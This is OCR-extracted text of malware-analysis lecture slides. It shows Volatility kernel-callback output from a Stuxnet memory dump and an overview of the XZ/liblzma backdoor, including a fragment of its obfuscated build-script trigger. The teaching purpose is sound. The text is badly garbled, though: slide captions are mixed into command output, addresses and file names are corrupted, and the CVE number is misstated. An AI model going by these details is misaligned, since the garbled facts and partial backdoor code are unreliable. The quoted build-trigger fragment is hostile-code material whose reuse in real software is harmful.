| ATT Ox81f0fc58 - \Driver\MRxNet FILE DEVICE NETWORK FILE SYSTEM

Now Stuxnet can filter or hide specifically named files and directories on
those file systems!
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Kernel Callback

= A callback function is one which is passed as an argument to another
function and is invoked after the completion of the parent function.

— In other words callback is a piece of executable code that is passed as an
argument to other code, which is expected to call back (execute) the argument
at some convenient time.

» Kernel Callback
— Supported on 64 bit systems
— Safe for multicore machines
— Lists of events:
* Process creation
* Thread creation
« System shutdown
» File system registration
 PnP(Plug and Play)

* etc...
Page = 52



Analysis STUXnet Memory Dump Image

[quake@day@a?chlinux ~]$ python2 /usr/bin/vol.py -f stuxnet.vmem --profile=WinXPSP3x86 callbacks

Volatility Foundation Volatility Framework 2.6.1

Type Callback Module Details

ToRegistershutdownNotification 0xf88ddc74 Cdfs.SYS \FileSystem\Cdfs Now Stuxnet can
ToRegisterShutdownNotification 0xf8bb05be Fs Rec.SYS \FileSystem\Fs Rec .
ToRegisterShutdownNotification 0xf8303c6a VIDEOPRT.SYS \Driver\VgaSave r63(363|\/63
ToRegisterShutdownNotification 0xb2d108fa vmhgfs.sys \FileSystem\vmhgfs

IoRegisterShutdownNotification 0xf8bb0B5be Fs Rec.SYS \FileSystem\Fs Rec ifi 1
ToRegisterShutdownNotification 0xf8303c6a VIDEOPRT.SYS \Driver\mnmdd r1()t|f|(:éit|()r] \Alf163r1
ToRegisterShutdownNotification 0xf8303c6a VIDEOPRT.SYS \Driver\vmx_ svga .
IoRegisterShutdownNotification 0xf8303c6a VIDEOPRT.SYS \Driver\RDPCDD new fl|€3 55)/55t63r11
ToRegisterShutdownNotification 0xf86aa73a MountMgr.sys \Driver\MountMgr

ToRegisterShutdownNotification 0xf8bbO5be Fs Rec.SYS \FileSystem\Fs Rec become
ToRegisterShutdownNotification 0xf8bb05be Fs Rec.SYS \FileSystem\Fs Rec . .
ToRegistersShutdownNotification oxf8bbeSbe Fs Rec.SYS \FileSystem\Fs Rec available — So it
IoRegisterShutdownNotification 0xf853c2he ftdisk.sys \Driver\Ftdisk

IoRegisterShutdownNotification 0x805cdef4 ntoskrnl.exe \FileSystem\R. I i
ToRegisterShutdownNotification 0xf83d98f1 Mup.sys \FileSysteg (:Eir] IFT]TT]EB(jléitEB|)/
ToRegisterShutdownNotification 0x805f5d66 ntoskrnl.exe \Driver\lg =
ToRegisterFsRegistrationChange 0xf84be876 sr.sys - S;F)rEBE1(j ()r f]l(j(?
GenericKernelCallback Oxf87ad194 vmci.sys - .
ToRegisterFsRegistrationChange 0xb21d89ec mrxnet.sys - fllEEf;
GenericKernelCallback 0xb240ced4c PROCMON20.SYS -

GenericKernelCallback 0x805f8lab ntoskrnl.exe -

GenericKernelCallback 0xb240cc9a PROCMON20.SYS -

GenericKernelCallback 0xf895ad06 mrxcls.sys - I
GenericKernelCallback 0xb240ch94 PROCMON20.SYS - /Q\r](j IE; Eit)lee t()
GenericKernelCallback 0xb240cb94 PROCMON20.SYS - AT =
ToRegisterFsRegistrationChange 0xf84d54b8 fltMgr.sys - Ir]JEB(:t ()()(163 Ir]t()
PsSetLoadImageNotifyRoutine 0xb240cedc PROCMON20.SYS -

PsSetLoadImageNotifyRoutine 0x805f81ab_ntoskrnl.exe - F)F()(:GBESES \Alf163r1
°sSetLoadImageNotifyRoutine Oxf895ad06 mrxcls.sys -

PsSetCreateThreadNotifyRoutine 0xb240cc9a PROCMON20..5YS . they try to load
PsSetCreateProcessNotifyRoutine 0xf87ad194 vmci.sys -

PsSetCreateProcessNotifyRoutine 0xb240ch94 PROCMON20.SYS -

KeBugCheckCallbackListHead 0xf83e65ef NDIS.sys Ndis miniport ()tt](;l’ [:)[_l_ES.
KeBugCheckCallbackListHead 0x806d77cc hal.dll ACPI 1.0 - APIC platform UP

KeRegisterBugCheckReasonCallback 0xf8b7aab8 mssmbios.sys SMBiosDa
KeRegisterBugCheckReasonCallback 0xf8b7aa70 mssmbios.sys SMBiosRe
KeRegisterBugCheckReasonCallback 0xf8b7aa28 mssmhios.sys SMBiosDa
KeRegisterBugCheckReasonCallback 0xf82e01be USBPORT.SYS USBPORT
KeRegisterBugCheckReasonCallback 0xf82e011le USBPORT.SYS USBPORT
KeRegisterBugCheckReasonCallback 0xf82f7522 VIDEOQPRT.SYS Videoprt




Call FindNextFile

FindNextFile:
K 132.dll
Call NtQueryDirectoryFile ernel32.d SUSG"
pace
INT 2E NtQueryDirectoryFile: i
> MOV EAX, XX Ring 3
INT 2E/SYSENTER Ntdll.dll (00000000 -
7FFFFFFF)
Kernel
IA32_SYSENTER_EIP -
Ring 0
i P 80000000 -
Interrupt Descriptor Table (IDT) System Serv(lggl;)-ll_)spatch Table (FFFFFFFF)

System Service Dispatcher

9. Hardware

(KiSystemService)

Backup Driver

AV Filter Driver NtQueryDir

NTFS Driver

1/0 Manager

Volume Manager Disk Driver

T

8. Virtualization

Hardware
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CSC 471 Modern Malware Analysis
CVE-2024-3084 (XZ outbreak)

Si Chen (schen@wcupa.edu)
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Overview

e XZ Outbreak is a collection of open-source tools and libraries for XZ compression
format, used for high compression ratios

* On March 29th, a backdoor was discovered in xz/liblzma version 5.6.0 and 5.6.1

" https://www.youtube.com/watch?v=bS9em/Bg0OiU

" https://www.youtube.com/watch?v=0pT-dWpmwhA
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https://www.youtube.com/watch?v=bS9em7Bg0iU
https://www.youtube.com/watch?v=0pT-dWpmwhA

GitHub Activity Summary

Github Activity Summary (user: JiaT75)

PR opened in oss-fuzz to Obfuscated/encrypted stages binary backdoor

. R : disable ifunc for fuzzing hidden in two test files:
% Repository: JiaT75's first commit builde. Alleaedly ¢ K th . files/bad-3 [ 3
https:/qithub.com/tukaani-project/xz o the Xz repo uilds. Allegedly to mask the tests/files/bad-3-corrupt_lzma2.xz
malicious changes. e tests/files/good-large_compressed.lzma.
g }a'“*o‘_--——-o-\ """~ 0a__--==0<_ D
ceci e 2024-02-16 ==~
ia Tan (JiaT? 2045-06:20 o xz/libzma
User:]l.a T?Z(J;a.r % sotential infrastricture teckine: Malicious “build-to-host.m4" file added
EREGLes TS BIthloRecount : ,? .a u “ © g to .gitignore, later incorporated to the v5.6.0 & v5.6.1
liblzma: “Add ifunc implementation K [
to crebY_fast.c." PREREARLE oS I
Packaged in the final releases /,
f ————————————————————————————
*User JiaT75 opened an issue and submitted a PR on Feb 6, 2022 to the XZ

repo
*The malicious PR obscured/encrypted stages to add a binary backdoor

hidden in test files
*Backdoor added in two test files: tests/files/bad-3-corrupt_lzma2.xz and

tests/files/good-large_compressed.lzma
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/—btestslfiles]bad-S—COrrupt_lzmaz.xz

0
\ substitution to uncorrupt
The MY macro is executed during the build @ 8| malformed xz file \ >
process and runs the malicious code below. J & . # . .
g e 0x09 (\t) are replaced with 0x20 Uncorrupted
o0 0 3 ® 0x20 (whitespace) are replaced with 0x09 bad—3-corrupt_lzm32.xz
* Ox2d(-)are replaced with Ox5f
. -gLH&LCMfw:_Sec G ¢ . e Ox5f () are replaced with Ox2d
eval $gl_path_map | $gl_[$1]_prefix -d /null’ ‘I

"Nt A"t

gl_path_map="tr "\t \-_'
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Timeline

e 2021: User JiaTan (JiaT75) creates his GitHub account

e 2023-06-28: Potential infrastructure testing, liblzma "Add func implementation
to crack fast.c"

e 2024-02-16: Malicious "build-to-hostenv" file added to .gitignore, later
incorporated into package release

e 2024-03-09: Build process of v5.6.0 and v5.6.1 releases packagedin the final
releases
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